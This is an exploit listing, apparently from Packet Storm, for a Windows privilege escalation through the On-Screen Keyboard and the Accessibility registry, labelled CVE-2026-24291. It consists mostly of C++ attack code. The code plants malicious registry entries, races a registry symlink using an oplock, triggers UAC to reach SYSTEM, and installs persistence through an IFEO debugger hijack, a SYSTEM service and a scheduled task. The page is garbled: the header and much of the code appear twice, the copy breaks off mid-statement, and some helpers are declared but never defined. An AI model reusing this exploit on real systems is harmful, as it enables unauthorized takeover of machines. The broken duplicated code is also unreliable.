7.8
/ 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard osk.exe and Accessibility AT registry infrastructure. It attempts to abuse weak trust boundaries between user-level registry configuration and...
Basic Information
ID
PACKETSTORM:219845
Published
Apr 27, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : OSK Registry-Based Privilege Escalation via Accessibility/AT Abuse and Registry Symlink Manipulation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard (osk.exe) and Accessibility (AT) registry infrastructure.
It attempts to abuse weak trust boundaries between user-level registry configuration and system-level execution paths.
[+] POC :
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <thread>
#include <chrono>
#include <sddl.h>
#include <winternl.h>
#include <aclapi.h>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ntdll.lib")
bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile);
bool DeleteRegSymlink(LPCWSTR lpSymlink);
constexpr wchar_t kAtKey[] = L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\system_escape";
constexpr wchar_t kTargetKey[] = L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe";
constexpr wchar_t kDebuggerValue[] = L"Debugger";
class ScopedRegHandle {
private:
HKEY m_hKey;
public:
ScopedRegHandle() : m_hKey(nullptr) {}
ScopedRegHandle(HKEY hKey) : m_hKey(hKey) {}
~ScopedRegHandle() { Close(); }
void Close() {
if (m_hKey && m_hKey != INVALID_HANDLE_VALUE) {
RegCloseKey(m_hKey);
m_hKey = nullptr;
}
}
bool IsValid() const { return m_hKey && m_hKey != INVALID_HANDLE_VALUE; }
HKEY* GetPtr() { return &m_hKey; }
operator HKEY() const { return m_hKey; }
bool SetString(LPCWSTR name, LPCWSTR value) const {
if (!IsValid()) return false;
DWORD size = static_cast<DWORD>((wcslen(value) + 1) * sizeof(WCHAR));
return RegSetValueExW(m_hKey, name, 0, REG_SZ,
reinterpret_cast<const BYTE*>(value), size) == ERROR_SUCCESS;
}
bool SetDWORD(LPCWSTR name, DWORD value) const {
if (!IsValid()) return false;
return RegSetValueExW(m_hKey, name, 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&value), sizeof(value)) == ERROR_SUCCESS;
}
ScopedRegHandle(ScopedRegHandle&& other) noexcept : m_hKey(other.m_hKey) {
other.m_hKey = nullptr;
}
ScopedRegHandle& operator=(ScopedRegHandle&& other) noexcept {
if (this != &other) {
Close();
m_hKey = other.m_hKey;
other.m_hKey = nullptr;
}
return *this;
}
ScopedRegHandle(const ScopedRegHandle&) = delete;
ScopedRegHandle& operator=(const ScopedRegHandle&) = delete;
};
class RegistryHelper {
public:
static std::wstring GetUserSid() {
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return L"";
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
std::vector<BYTE> buffer(dwSize);
if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
CloseHandle(hToken);
return L"";
}
PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
LPWSTR lpSid = nullptr;
if (!ConvertSidToStringSidW(pTokenUser->User.Sid, &lpSid)) {
CloseHandle(hToken);
return L"";
}
std::wstring sid(lpSid);
LocalFree(lpSid);
CloseHandle(hToken);
return sid;
}
static std::wstring BuildSessionPath() {
DWORD sessionId = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
wchar_t path[512];
swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d", sessionId);
return std::wstring(path);
}
static std::wstring BuildOskConfigPath() {
return BuildSessionPath() + L"\\ATConfig\\Osk";
}
static std::wstring BuildAtKeyPath() {
return std::wstring(kAtKey);
}
static bool CreateRegistryKey(const std::wstring& path, bool volatileKey = false) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
HKEY hKey = nullptr;
DWORD disposition = 0;
DWORD options = volatileKey ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE;
LSTATUS status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, nullptr,
options, KEY_ALL_ACCESS, nullptr, &hKey, &disposition);
if (status == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}
static bool DeleteRegistryKey(const std::wstring& path) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
return RegDeleteTreeW(HKEY_LOCAL_MACHINE, cleanPath.c_str()) == ERROR_SUCCESS;
}
static bool SetRegistryValues(const std::wstring& path,
const std::map<std::wstring, std::wstring>& stringValues,
const std::map<std::wstring, DWORD>& dwordValues = {}) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
return false;
}
for (const auto& [name, value] : stringValues) {
DWORD size = static_cast<DWORD>((value.length() + 1) * sizeof(WCHAR));
RegSetValueExW(hKey, name.c_str(), 0, REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()), size);
}
for (const auto& [name, value] : dwordValues) {
RegSetValueExW(hKey, name.c_str(), 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&value), sizeof(value));
}
RegCloseKey(hKey);
return true;
}
};
class FileOpLock {
private:
HANDLE m_hFile;
OVERLAPPED m_overlapped;
HANDLE m_hCompletionEvent;
PTP_WAIT m_pWait;
std::function<void()> m_callback;
bool m_locked;
static VOID CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter,
PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) {
FileOpLock* pLock = reinterpret_cast<FileOpLock*>(Parameter);
pLock->OnOplockTriggered();
}
void OnOplockTriggered() {
DWORD bytesReturned = 0;
if (GetOverlappedResult(m_hFile, &m_overlapped, &bytesReturned, TRUE)) {
if (m_callback) {
m_callback();
}
}
SetEvent(m_hCompletionEvent);
}
public:
FileOpLock() : m_hFile(INVALID_HANDLE_VALUE), m_overlapped({0}),
m_hCompletionEvent(nullptr), m_pWait(nullptr), m_locked(false) {
m_overlapped.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
m_hCompletionEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
}
~FileOpLock() {
if (m_pWait) {
SetThreadpoolWait(m_pWait, nullptr, nullptr);
CloseThreadpoolWait(m_pWait);
}
if (m_overlapped.hEvent) CloseHandle(m_overlapped.hEvent);
if (m_hCompletionEvent) CloseHandle(m_hCompletionEvent);
if (m_hFile != INVALID_HANDLE_VALUE) CloseHandle(m_hFile);
}
bool Acquire(const std::wstring& filePath, std::function<void()> callback) {
m_callback = callback;
m_hFile = CreateFileW(filePath.c_str(), FILE_READ_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr);
if (m_hFile == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open file: %d\n", GetLastError());
return false;
}
m_pWait = CreateThreadpoolWait(WaitCallback, this, nullptr);
if (!m_pWait) {
printf("[!] Failed to create threadpool wait\n");
return false;
}
SetThreadpoolWait(m_pWait, m_overlapped.hEvent, nullptr);
DWORD bytesReturned = 0;
REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = {0};
REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = {0};
inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
inputBuffer.StructureLength = sizeof(inputBuffer);
inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
outputBuffer.StructureLength = sizeof(outputBuffer);
if (!DeviceIoControl(m_hFile, FSCTL_REQUEST_OPLOCK, &inputBuffer, sizeof(inputBuffer),
&outputBuffer, sizeof(outputBuffer), &bytesReturned, &m_overlapped)) {
DWORD err = GetLastError();
if (err != ERROR_IO_PENDING) {
printf("[!] OpLock failed: %d\n", err);
return false;
}
}
m_locked = true;
return true;
}
void Wait(DWORD timeoutMs = INFINITE) {
if (m_locked) {
WaitForSingleObject(m_hCompletionEvent, timeoutMs);
}
}
};
class OSKEoPExploit {
private:
std::wstring m_sessionPath;
std::wstring m_oskConfigPath;
std::wstring m_atKeyPath;
std::wstring m_executablePath;
bool m_debugMode;
void EnsureOSKInitialized() {
printf("[*] Ensuring OSK is initialized on normal desktop...\n");
ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
Sleep(3000);
HWND hWnd = FindWindowW(nullptr, L"On-Screen Keyboard");
if (hWnd) {
PostMessageW(hWnd, WM_CLOSE, 0, 0);
Sleep(1000);
}
printf("[+] OSK initialized\n");
}
bool PrepareMaliciousAtKey() {
printf("[*] Preparing malicious AT entry...\n");
RegistryHelper::DeleteRegistryKey(m_atKeyPath);
if (!RegistryHelper::CreateRegistryKey(m_atKeyPath, false)) {
printf("[!] Failed to create AT key\n");
return false;
}
std::map<std::wstring, std::wstring> values = {
{L"ApplicationName", L"System Escalation"},
{L"ATExe", L"cmd.exe"},
{L"Description", L"Privilege escalation via OSK"},
{L"StartExe", m_executablePath},
{L"Profile", L"<HCIModel><Accommodation type=\"severe dexterity\" /></HCIModel>"},
{L"SimpleProfile", L"EoP Exploit"}
};
if (!RegistryHelper::SetRegistryValues(m_atKeyPath, values)) {
printf("[!] Failed to set AT values\n");
return false;
}
printf("[+] Malicious AT entry created at: %ls\n", m_atKeyPath.c_str());
return true;
}
bool PrepareOskConfigValues() {
printf("[*] Preparing OSK configuration values...\n");
std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();
RegistryHelper::DeleteRegistryKey(oskConfigPath);
if (!RegistryHelper::CreateRegistryKey(oskConfigPath, true)) {
printf("[!] Failed to create OSK config key\n");
return false;
}
std::map<std::wstring, std::wstring> values = {
{L"ApplicationName", L"System Escalation"},
{L"ATExe", L"explorer.exe"},
{L"Description", L"EoP via OSK"},
{L"StartExe", m_executablePath},
{L"Profile", L"<HCIModel><Accommodation type=\"severe dexterity\" /></HCIModel>"},
{L"SimpleProfile", L"EoP Exploit"},
{L"SecureConfiguration", L"hack"}
};
if (!RegistryHelper::SetRegistryValues(oskConfigPath, values)) {
printf("[!] Failed to set OSK config values\n");
return false;
}
printf("[+] OSK configuration prepared\n");
return true;
}
bool CreateDebuggerPersistence() {
printf("[*] Creating debugger persistence (optional)...\n");
if (!RegistryHelper::CreateRegistryKey(kTargetKey, false)) {
return false;
}
HKEY hKey = nullptr;
std::wstring cleanPath = kTargetKey;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegSetValueExW(hKey, kDebuggerValue, 0, REG_SZ,
reinterpret_cast<const BYTE*>(m_executablePath.c_str()),
static_cast<DWORD>((m_executablePath.length() + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
printf("[+] Debugger persistence configured\n");
return true;
}
return false;
}
bool TriggerSecureDesktop() {
printf("[*] Triggering secure desktop switch...\n");
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = L"cmd.exe";
sei.lpParameters = L"/c echo Exploit triggered > nul";
sei.nShow = SW_HIDE;
if (!ShellExecuteExW(&sei)) {
printf("[!] Failed to trigger elevation\n");
return false;
}
printf("[+] Secure desktop triggered (UAC prompt should appear)\n");
return true;
}
void WaitForOskOnSecureDesktop() {
printf("[*] Waiting for OSK on secure desktop...\n");
for (int i = 0; i < 30; i++) {
HWND hWnd = FindWindowW(nullptr, L"On-Screen Keyboard");
if (hWnd) {
printf("[+] OSK detected on secure desktop\n");
break;
}
Sleep(1000);
}
}
bool CreateSymbolicLinkRace() {
printf("\n[*] Setting up symbolic link race condition...\n");
std::wstring targetPath = RegistryHelper::BuildOskConfigPath();
DeleteRegSymlink(targetPath.c_str());
if (!CreateRegSymlink(targetPath.c_str(), m_atKeyPath.c_str(), true)) {
printf("[!] Failed to create symlink\n");
return false;
}
printf("[+] Symbolic link created: %ls -> %ls\n", targetPath.c_str(), m_atKeyPath.c_str());
return true;
}
void Cleanup() {
printf("\n[*] Cleaning up...\n");
std::wstring oskConfigPath = RegistryHelper::BuildOskConfigPath();
DeleteRegSymlink(oskConfigPath.c_str());
RegistryHelper::DeleteRegistryKey(m_atKeyPath);
RegistryHelper::DeleteRegistryKey(kTargetKey);
printf("[+] Cleanup completed\n");
}
public:
OSKEoPExploit(bool debugMode = false) : m_debugMode(debugMode) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
m_executablePath = path;
m_sessionPath = RegistryHelper::BuildSessionPath();
m_oskConfigPath = RegistryHelper::BuildOskConfigPath();
m_atKeyPath = RegistryHelper::BuildAtKeyPath();
}
bool Exploit() {
printf("\n");
printf("========================================\n");
printf(" CVE-2026-24291 - OSK EoP Exploit\n");
printf(" SYSTEM Privilege Escalation\n");
printf("========================================\n\n");
printf("[*] Exploit path: %ls\n", m_executablePath.c_str());
printf("[*] Session path: %ls\n", m_sessionPath.c_str());
printf("[*] OSK config path: %ls\n", m_oskConfigPath.c_str());
printf("[*] AT key path: %ls\n", m_atKeyPath.c_str());
EnsureOSKInitialized();
if (!PrepareMaliciousAtKey()) {
printf("[!] Failed to prepare AT key\n");
return false;
}
if (!PrepareOskConfigValues()) {
printf("[!] Failed to prepare OSK config\n");
return false;
}
printf("\n[*] Creating OpLock on osk.exe...\n");
FileOpLock oplock;
if (!oplock.Acquire(L"C:\\Windows\\System32\\osk.exe", [this]() {
printf("\n[!!!] OPLOCK TRIGGERED!\n");
printf("[*] Creating symbolic link for registry redirection...\n");
CreateSymbolicLinkRace();
})) {
printf("[!] Failed to acquire oplock\n");
return false;
}
if (!TriggerSecureDesktop()) {
return false;
}
printf("[*] Waiting for OpLock to trigger (OSK on secure desktop)...\n");
oplock.Wait(15000);
printf("[*] Waiting for registry synchronization...\n");
Sleep(5000);
printf("\n[*] Triggering AT execution...\n");
std::wstring sessionPath = m_sessionPath;
if (sessionPath.find(L"HKLM\\") == 0) {
sessionPath = sessionPath.substr(5);
}
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, sessionPath.c_str(), 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
std::wstring configValue = L"hack";
RegSetValueExW(hKey, L"SecureConfiguration", 0, REG_SZ,
reinterpret_cast<const BYTE*>(configValue.c_str()),
static_cast<DWORD>((configValue.length() + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
}
printf("[*] Triggering second secure desktop to execute malicious AT...\n");
Sleep(2000);
TriggerSecureDesktop();
printf("[*] Waiting for SYSTEM execution...\n");
Sleep(8000);
Cleanup();
printf("\n[+] Exploit completed! Check for SYSTEM shell.\n");
return true;
}
};
class AdvancedPersistence {
public:
static bool InstallServicePersistence(const std::wstring& executablePath) {
printf("[*] Installing service persistence...\n");
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
if (!hSCM) return false;
SC_HANDLE hService = CreateServiceW(
hSCM,
L"OSKEoPService",
L"OSK EoP Service",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
executablePath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
if (hService) {
StartServiceW(hService, 0, nullptr);
CloseServiceHandle(hService);
printf("[+] Service persistence installed\n");
}
CloseServiceHandle(hSCM);
return hService != nullptr;
}
static bool InstallScheduledTask(const std::wstring& executablePath) {
printf("[*] Installing scheduled task persistence...\n");
wchar_t command[512];
swprintf_s(command, L"schtasks /create /tn \"OSKEoP\" /tr \"%ls\" /sc onlogon /ru SYSTEM /f",
executablePath.c_str());
system("schtasks /delete /tn \"OSKEoP\" /f > nul 2>&1");
int result = system(command);
if (result == 0) {
printf("[+] Scheduled task persistence installed\n");
return true;
}
return false;
}
};
int wmain(int argc, wchar_t* argv[]) {
bool debugMode = false;
bool installPersistence = false;
bool useDebugger = false;
for (int i = 1; i < argc; i++) {
if (_wcsicmp(argv[i], L"--debug") == 0) {
debugMode = true;
}
else if (_wcsicmp(argv[i], L"--persist") == 0) {
installPersistence = true;
}
else if (_wcsicmp(argv[i], L"--debugger") == 0) {
useDebugger = true;
}
else if (_wcsicmp(argv[i], L"--help") == 0) {
printf("CVE-2026-24291 - OSK EoP Exploit\n");
printf("Usage: %s [options]\n", argv[0]);
printf("Options:\n");
printf(" --debug Enable debug output\n");
printf(" --persist Install persistence after escalation\n");
printf(" --debugger Use IFEO debugger persistence\n");
printf("\nNote: This exploit escalates to SYSTEM privileges\n");
return 0;
}
}
HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION_TYPE elevationType;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevationType, &elevationType, sizeof(elevationType), &dwSize)) {
if (elevationType == TokenElevationTypeFull) {
printf("[+] Already running with elevated privileges!\n");
printf("[*] Spawning SYSTEM shell...\n");
system("cmd.exe");
return 0;
}
}
CloseHandle(hToken);
}
OSKEoPExploit exploit(debugMode);
if (exploit.Exploit()) {
printf("\n[+] Exploit successful!\n");
if (installPersistence) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
AdvancedPersistence::InstallServicePersistence(path);
AdvancedPersistence::InstallScheduledTask(path);
}
if (useDebugger) {
// השתמש ב-IFEO debugger
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe",
0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
WCHAR path[MAX_PATH];
GetModuleFileNameW(nullptr, path, MAX_PATH);
RegSetValueExW(hKey, L"Debugger", 0, REG_SZ,
reinterpret_cast<const BYTE*>(path),
static_cast<DWORD>((wcslen(path) + 1) * sizeof(WCHAR)));
RegCloseKey(hKey);
printf("[+] IFEO Debugger persistence configured\n");
}
}
printf("\n[*] To get SYSTEM shell, wait for scheduled task or service to trigger.\n");
printf("[*] Alternatively, run osk.exe again to trigger debugger.\n");
printf("\n[*] Attempting to spawn SYSTEM shell...\n");
Sleep(3000);
ShellExecuteW(nullptr, L"runas", L"cmd.exe", L"/k whoami", nullptr, SW_SHOW);
} else {
printf("\n[!] Exploit failed. Try running OSK manually first.\n");
return 1;
}
return 0;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : OSK Registry-Based Privilege Escalation via Accessibility/AT Abuse and Registry Symlink Manipulation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : The provided code is a conceptual Windows privilege escalation exploit targeting the On-Screen Keyboard (osk.exe) and Accessibility (AT) registry infrastructure.
It attempts to abuse weak trust boundaries between user-level registry configuration and system-level execution paths.
[+] POC :
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <thread>
#include <chrono>
#include <sddl.h>
#include <winternl.h>
#include <aclapi.h>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ntdll.lib")
bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile);
bool DeleteRegSymlink(LPCWSTR lpSymlink);
constexpr wchar_t kAtKey[] = L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\system_escape";
constexpr wchar_t kTargetKey[] = L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe";
constexpr wchar_t kDebuggerValue[] = L"Debugger";
class ScopedRegHandle {
private:
HKEY m_hKey;
public:
ScopedRegHandle() : m_hKey(nullptr) {}
ScopedRegHandle(HKEY hKey) : m_hKey(hKey) {}
~ScopedRegHandle() { Close(); }
void Close() {
if (m_hKey && m_hKey != INVALID_HANDLE_VALUE) {
RegCloseKey(m_hKey);
m_hKey = nullptr;
}
}
bool IsValid() const { return m_hKey && m_hKey != INVALID_HANDLE_VALUE; }
HKEY* GetPtr() { return &m_hKey; }
operator HKEY() const { return m_hKey; }
bool SetString(LPCWSTR name, LPCWSTR value) const {
if (!IsValid()) return false;
DWORD size = static_cast<DWORD>((wcslen(value) + 1) * sizeof(WCHAR));
return RegSetValueExW(m_hKey, name, 0, REG_SZ,
reinterpret_cast<const BYTE*>(value), size) == ERROR_SUCCESS;
}
bool SetDWORD(LPCWSTR name, DWORD value) const {
if (!IsValid()) return false;
return RegSetValueExW(m_hKey, name, 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&value), sizeof(value)) == ERROR_SUCCESS;
}
ScopedRegHandle(ScopedRegHandle&& other) noexcept : m_hKey(other.m_hKey) {
other.m_hKey = nullptr;
}
ScopedRegHandle& operator=(ScopedRegHandle&& other) noexcept {
if (this != &other) {
Close();
m_hKey = other.m_hKey;
other.m_hKey = nullptr;
}
return *this;
}
ScopedRegHandle(const ScopedRegHandle&) = delete;
ScopedRegHandle& operator=(const ScopedRegHandle&) = delete;
};
class RegistryHelper {
public:
static std::wstring GetUserSid() {
HANDLE hToken = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return L"";
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
std::vector<BYTE> buffer(dwSize);
if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
CloseHandle(hToken);
return L"";
}
PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
LPWSTR lpSid = nullptr;
if (!ConvertSidToStringSidW(pTokenUser->User.Sid, &lpSid)) {
CloseHandle(hToken);
return L"";
}
std::wstring sid(lpSid);
LocalFree(lpSid);
CloseHandle(hToken);
return sid;
}
static std::wstring BuildSessionPath() {
DWORD sessionId = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
wchar_t path[512];
swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d", sessionId);
return std::wstring(path);
}
static std::wstring BuildOskConfigPath() {
return BuildSessionPath() + L"\\ATConfig\\Osk";
}
static std::wstring BuildAtKeyPath() {
return std::wstring(kAtKey);
}
static bool CreateRegistryKey(const std::wstring& path, bool volatileKey = false) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
HKEY hKey = nullptr;
DWORD disposition = 0;
DWORD options = volatileKey ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE;
LSTATUS status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, nullptr,
options, KEY_ALL_ACCESS, nullptr, &hKey, &disposition);
if (status == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}
static bool DeleteRegistryKey(const std::wstring& path) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
return RegDeleteTreeW(HKEY_LOCAL_MACHINE, cleanPath.c_str()) == ERROR_SUCCESS;
}
static bool SetRegistryValues(const std::wstring& path,
const std::map<std::wstring, std::wstring>& stringValues,
const std::map<std::wstring, DWORD>& dwordValues = {}) {
std::wstring cleanPath = path;
if (cleanPath.find(L"HKLM\\") == 0) {
cleanPath = cleanPath.substr(5);
}
HKEY hKey = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, cleanPath.c_str(), 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
return false;
}
for (const auto& [name, value] : stringValues) {
DWORD size = static_cast<DWORD>((value.length() + 1) * sizeof(WCHAR));
RegSetValueExW(hKey, name.c_str(), 0, REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()), size);
}
for (const auto& [name, value] : dwordValues) {
RegSetValueExW(hKey, name.c_str(), 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&value), sizeof(value));
}
RegCloseKey(hKey);
return true;
}
};
class FileOpLock {
private:
HANDLE m_hFile;
OVERLAPPED m_overlapped;
HANDLE m_hCompletionEvent;
PTP_WAIT m_pWait;
std::function<void()> m_callback;
bool m_locked;
static VOID CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter,
PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) {
FileOpLock* pLock = reinterpret_cast<FileOpLock*>(Parameter);
pLock->OnOplockTriggered();
}
void OnOplockTriggered() {
DWORD bytesReturned = 0;
if (GetOverlappedResult(m_hFile, &m_overlapped, &bytesReturned, TRUE)) {
if (m_callback) {
m_callback();
}
}
SetEvent(m_hCompletionEvent);
}
public:
FileOpLock() : m_hFile(INVALID_HANDLE_VALUE), m_overlapped({0}),
m_hCompletionEvent(nullptr), m_pWait(nullptr), m_locked(false) {
m_overlapped.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
m_hCompletionEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
}
~FileOpLock() {
if (m_pWait) {
SetThreadpoolWait(m_pWait, nullptr, nullptr);
CloseThreadpoolWait(m_pWait);
}
if (m_overlapped.hEvent) CloseHandle(m_overlapped.hEvent);
if (m_hCompletionEvent) CloseHandle(m_hCompletionEvent);
if (m_hFile != INVALID_HANDLE_VALUE) CloseHandle(m_hFile);
}
bool Acquire(const std::wstring& filePath, std::function<void()> callback) {
m_callback = callback;
m_hFile = CreateFileW(filePath.c_str(), FILE_READ_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr);
if (m_hFile == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open file: %d\n", GetLastError());
return false;
}
m_pWait = CreateThreadpoolWait(WaitCallback, this, nullptr);
if (!m_pWait) {
printf("[!] Failed to create threadpool wait\n");
return false;
}
SetThreadpoolWait(m_pWait, m_overlapped.hEvent, nullptr);
DWORD bytesReturned = 0;
REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = {0};
REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = {0};
inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
inputBuffer.StructureLength = sizeof(inputBuffer);
inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
outputBuffer.StructureLength = sizeof(outputBuffer);
if (!DeviceIoControl(m_hFile, FSCTL_REQUEST_OPLOCK, &inputBuffer, sizeof(inputBuffer),
&outputBuffer, sizeof(outputBuffer), &bytesReturned, &m_overlapped)) {
DWORD err = GetLastError();
if (err != ERROR_IO_PENDING) {
printf("[!] OpLock failed: %d\n", err);
return false;
}
}
m_locked = true;
return true;
}
void Wait(DWORD timeoutMs = INFINITE) {
if (m_locked) {
WaitForSingleObject(m_hCompletionEvent, timeoutMs);
}
}
};
class OSKEoPExploit {
private:
std::wstring m_sessionPath;
std::wstring m_oskConfigPath;
std::wstring m_atKeyPath;
std::wstring m_executablePath;
bool m_debugMode;
void EnsureOSKInitialized() {
printf("[*] Ensuring OSK is initialized on normal desktop...\n");
ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
Sleep(3000);
HWND hWnd = FindWindowW(nullptr, L"On-Screen Keyboard");
if (hWnd) {
PostMessageW(hWnd, WM_CLOSE, 0, 0);
Sleep(1000);
}
printf("[+] OSK initialized\n");
}
bool PrepareMaliciousAtKey() {
printf("[*] Preparing malicious AT entry...\n");
RegistryHelper::DeleteRegistryKey(m_atKeyPath);
if (!RegistryHelper::CreateRegistryKey(m_atKeyPath, false)) {
printf("[!] Failed to create AT key\n");
return false;
}
std::map<std::wstring, std::wstring> values = {
{L"ApplicationName", L"System Escalation"},
{L"ATExe", L"cmd.exe"},
{L"Description", L"Privilege escalation via OSK"},
{L"StartExe", m_executablePath},
{L"Profile", L"<HCIModel><Accommodation type=\"severe dexterity\" /></HCIModel>"},
